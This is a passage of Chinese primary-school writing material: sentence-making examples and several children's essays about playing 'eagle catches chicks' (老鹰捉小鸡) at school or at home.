的词语，在网友们的推广下，成为造句的主体，并迅速在网络流行展开。比如李刚事件中，我爸叫李刚成为流行语，以它进行的造句活动在网络铺开。例如：窗前明月光，我爸是李刚；给我一个李刚，我能撑起整个地球等。而在360与腾讯的3Q网络大战之后，一句“我很艰难的做出决定”也迅速流行。这类造句的特征主要是将已有的诗句、文章等进行改变而成。

像汪汪、喵喵、嘎嘎、呱呱、唧唧、唧唧喳喳、哞——等都是啊。造句：清晨，小鸟唧唧喳喳的在我的窗外叫。

　今天，老师带我们在作文班玩老鹰捉小鸡的游戏。　　我们分了三组，我们开始以石头、剪刀、补决定胜负。李柯蒙当老鹰，大姐姐当鸡妈妈，我当小鸡，这时，鸡妈妈张开双翅，拼命地和老鹰进行激烈地决战，她领着小鸡左躲右闪，生怕自己的孩子被 老鹰叼走。老鹰向鸡妈妈发起几次进攻，阴谋都没有得成，这时，只见老鹰气得火冒三丈，咬牙切齿地对鸡妈妈说：“别得意得太早了，一会儿你们都要成为我的口中之食了。”小鸡听了心惊胆战，没 过多久，小鸡们已经累得气喘吁吁，上气不接下气，鸡妈妈也筋疲力尽、大汗淋淋了，这时，老鹰乘虚而入，一只落伍的小鸡被老鹰捉走了，老鹰得意洋洋得向鸡妈妈冷笑了几声飞走了。　　鸡妈妈心里很着急，老鹰又一次来向鸡妈妈扑来，小鸡气愤地说：“你敢动我一根毫毛，妈妈会把你碎尸万段。”老鹰哈哈大笑，好像不相信似的，鸡妈妈为了保护小鸡，已经累得快跑不动了，但它 又迅速来捉小鸡，鸡妈妈拼命地和老鹰决战，最终，还是眼巴巴地看着老鹰把小鸡捉走了。　　游戏在大家的笑声中结束了。

1、动物园里的动物的品种很多，有的是鱼，有的是鸟，还有的像狗。2、动物园里的动物的品种很多，有的是飞禽，有的是走兽，还有的是海里游的。3、动物园里的动物的品种很多，有的是腔肠动物，软体动物，还有的是节肢动物。4、动物园里的动物的品种很多，有的是环节动物，扁形动物，还有的是线形动物。5、动物园里的动物的品种很多，有的是狮子，有的是老虎，还有的是大象。

老鹰捉小鸡的作文如下星期四晚上，老师带我们去楼下玩老鹰捉小鸡的游戏。游戏规则是；老鹰是我，母鸡是老师，其余同学当小鸡。一开始，我像箭一样冲了上去，几只小鸡惊慌失措，自乱方寸。我趁机混水摸鱼，几只小鸡躲闪不及，一下子就被我捉住了，剩下的8只小鸡四处逃窜。我看中了一只黑色的小鸡，那只小鸡东躲西藏，让我白跑了两圈。我仔细观察，发现那只小鸡是绕圈的顺序跑，我直线冲过去，它正好跑到我这里，真是自投罗网。这时母鸡张开翅膀，紧张地护着小鸡，可是小鸡们看着我的犀利的目光，马上四处逃窜。一只小鸡镇静地蹲在地上，怪不得我觉得少了一只呢。我井然有序地捉了4只小母鸡。剩下一只小黑鸡真难捉。我左扑右闪，它东躲西藏，我老谋深算，想；它只能躲在母鸡背后，我绕着圈抓它，一下子就抓住它了。终于，这场游戏愉快地结束了！

【篇一】小学生老鹰捉小鸡作文 　　“我捉到‘小鸡"啦！”我捉到‘小鸡"啦！”“老鹰”高兴地喊着。这是怎么回事呢？哦，原来我、哥哥、妹妹、弟弟、姐姐正在玩“老鹰捉小鸡”的游戏呢！姐姐当“母鸡”，哥哥当“老鹰”，我、弟弟、和妹妹当“小鸡。” 　　游戏开始了，“老鹰”张牙舞爪地向“鸡群”尾部的“小鸡”扑来。“母鸡”奋力抵挡“老鹰”的攻击。可是“老鹰”不灰心，又一次猛扑“鸡群，”可是还是被“母鸡”挡住了。“老鹰”捉不到“小鸡”便想出了一个好办法。他做了一个可笑的动作，逗得大家哈哈大笑，笑得连手也松开了。这时，“老鹰”又向“鸡群”扑来，后面的小鸡乱成一团，有一只“小鸡”一不留神脱离了“鸡群”，被“老鹰”捉住了。“老鹰”尝到了甜头，又一次向“鸡群”扑来…… 　　这时，弟弟想逗逗“老鹰”，就说：“你来捉我啊，捉不到我吧。”“老鹰”被激怒了，飞快地向“鸡群”扑来。这次“鸡群”尾部的“小鸡”早有防备，来了个急转弯。“老鹰”扑了个空，由于他跑得太快，“老鹰”脚下一滑，摔了个四脚朝天。我们胜利了，我们胜利了，我们高兴得欢蹦乱跳。第一局较量结束了，第二局“战斗”又将开始…… 　　这个“老鹰捉小鸡”的游戏真好玩啊！ 【篇二】小学生老鹰捉小鸡作文 　　老鹰捉小鸡的`这个游戏很好玩，给我添加了很多快乐。 　　一节班队课上，老师让我们玩老鹰捉小鸡的游戏。游戏规则是这样的：小鸡在鸡妈妈后面排成一排，老鹰来捉母鸡后面的小鸡。老鹰如果捉到了小鸡，老鹰就赢，如果没有捉到算输。 　　游戏开始了，乔婷是母鸡，张倩倩是老鹰，其他人当小鸡。我们一开始都是加强警惕瞪着眼珠子，一点都不让老鹰靠近我们。可是那老鹰无虑地在我们周围走来走去，一点儿也不来注意我们，于是我们这些小鸡慢慢地就放松了警惕，但母鸡妈妈可不这么想，她还是非常小心。我正愣着，突然母鸡妈妈来了一个360度大旋转，停了之后才知道原来老鹰差点把我捉住了。我心想：真险呀！差点就变成了老鹰的美餐了。 　　之后我们又排好了队伍开始了，我们再也不像上次一样了，都瞪大了各自的眼睛，看着老鹰，老鹰突然再次向我们扑来，母鸡妈妈大声说：“蹲下！”我们立刻蹲了下来。老鹰只好又回到了自己的位子。 　　下课了，老鹰连一只小鸡也没有捉到，我们赢了。可老鹰却垂头丧气地走回了教室。 　　我喜欢老鹰捉小鸡，因为它给我的生活增添了许多欢乐！ 【篇三】小学生老鹰捉小鸡作文 　　我们小学生玩过许多游戏，我也不例外。比如：拍手游戏、口语游戏。运动游戏……但我最喜欢的游戏还是运动游戏中的老鹰捉小鸡。 　　这不，上个月月底，我和几个同学来某学校的操场，开始玩“老鹰捉小鸡”的游戏。一个同学当老鹰，一个同学当鸡妈妈，其余的当小鸡。游戏开始了。“老鹰”左拼右杀，过了半天，还是没捉到一只。“老鹰”有些气愤，就想出了一个妙计。他先往左跑去，给“鸡妈妈”一个错觉，然后往右跑去，捉住了末尾的那只“小鸡”，给“鸡妈妈”来了个措手不及。我们有些不服气，非要再来一次。“老鹰”开始有些不同意，后来同意了。就这样，游戏又开始了。这一次和上一次不同，“老鹰”努力地拼杀，想捉住“小鸡”，“母鸡”张开双臂，拼命地保护“小鸡”，小鸡们也左躲右闪，跟着“母鸡”一起躲避。这下，可把“老鹰”气坏了，双眼瞪得像两个乒乓球，嘴巴也嘟起来了，那摸样真好笑！我们实在忍不住就“扑哧”一声笑了出来，不过这一笑，反而给“老鹰”带来了一个千载难逢的机会，他努力拼杀，结果捉住了最前面的那只“小鸡”。游戏在欢呼声中结束了。 　　“老鹰捉小鸡”不但给我们带来了许多快乐，而且还锻炼了我们的机智能力。 【篇四】小学生老鹰捉小鸡作文 　　今天，我们在教室里玩“老鹰”捉“小鸡”的游戏。龚炜鹏当“老鹰”，其它同学当“小鸡”，李老师当“鸡妈妈”。 　　游戏开始了。“老鹰”做出十分凶猛的样子，像猛虎下山一样横冲直撞，仿佛要吃掉我们。“鸡妈妈”张开双臂，用身子挡住老鹰的去路。小鸡吓得东躲西藏，左蹦右跳，逃来逃去。 　　“老鹰”几次发起猛攻，都被高大的“鸡妈妈”挡了回来。李老师跑累了，呼哧呼哧地直喘气。她要我当“鸡爸爸”。我站在队伍的最前面，立刻感到肩上的担子很重。后面一长串“小鸡”可都是我的“鸡宝宝”呀，我要尽力地保护。“老鹰”又一次发起猛攻，一会儿往东跑，一会儿往西跑，一会儿一个急转身。后面的小鸡吓得尖叫，有的甚至离队了，队伍变得松松散散，快要散架了。我忙喊：“下雨”。“小鸡们”一听，赶快蹲下。“老鹰”只好干瞪眼。一会儿，我喊“天晴了”，“小鸡们”又奔跑起来。由于一只小鸡跑得太慢，“老鹰”跑到队伍的最后，把她抓住了。 　　这只可怜的“小鸡”只好坐在一旁望着我们。那样子好像在说：“鸡爸爸，实在对不起。你这么拼命保护我，可我……” 　　游戏继续进行，一会儿我变成了“小鸡”，我跟在队伍的后面，跑得满头大汗，幸亏我机灵，没有被抓到。 　　“老鹰”捉“小鸡”的游戏真是一次速度和智慧的较量。 【篇五】小学生老鹰捉小鸡作文 　　我最喜欢的游戏是老鹰捉小鸡。 　　下课了，我和班上的同学郭孝馨等去操场玩老鹰捉小鸡，先由王俊熹和郭孝馨分别当老鹰和母鸡，其他人都当小鸡。游戏开始了，“王老鹰”张开翅膀，一会向左一会向右扑向小鸡，鸡妈妈左闪右躲的保护着小鸡，我们这些小鸡娃跟着鸡妈妈跑的呼哧呼哧的。老鹰一看无机可趁，动起了歪脑筋，装出一副漫不经心的样子，好让母鸡放松警惕，没想到鸡妈妈根本不上当，一点都不掉以轻心。可是小鸡们可不以为然，有的还故意跑到老鹰身旁，老鹰忽然一抓，吓得他“哇”地一声跑开了，还好他是运动会冠军。这下鸡妈妈和小鸡们都勒紧了神经了。老鹰见一计不成又生一计，它装出要往左跑的样子，母鸡马上就往左跑了几步，老鹰又向右几步，母鸡立刻跑到了右边，老鹰又装作往左边跑，可母鸡却没有跑，它认为这次老鹰又是装装样子而已。老鹰见有机可乘，一个猛冲，以迅雷不及掩耳之势，一只小鸡成了它的美餐。母鸡看见感到遗憾极了。 　　老鹰捉小鸡真是刺激又有趣，我太喜欢这个游戏了！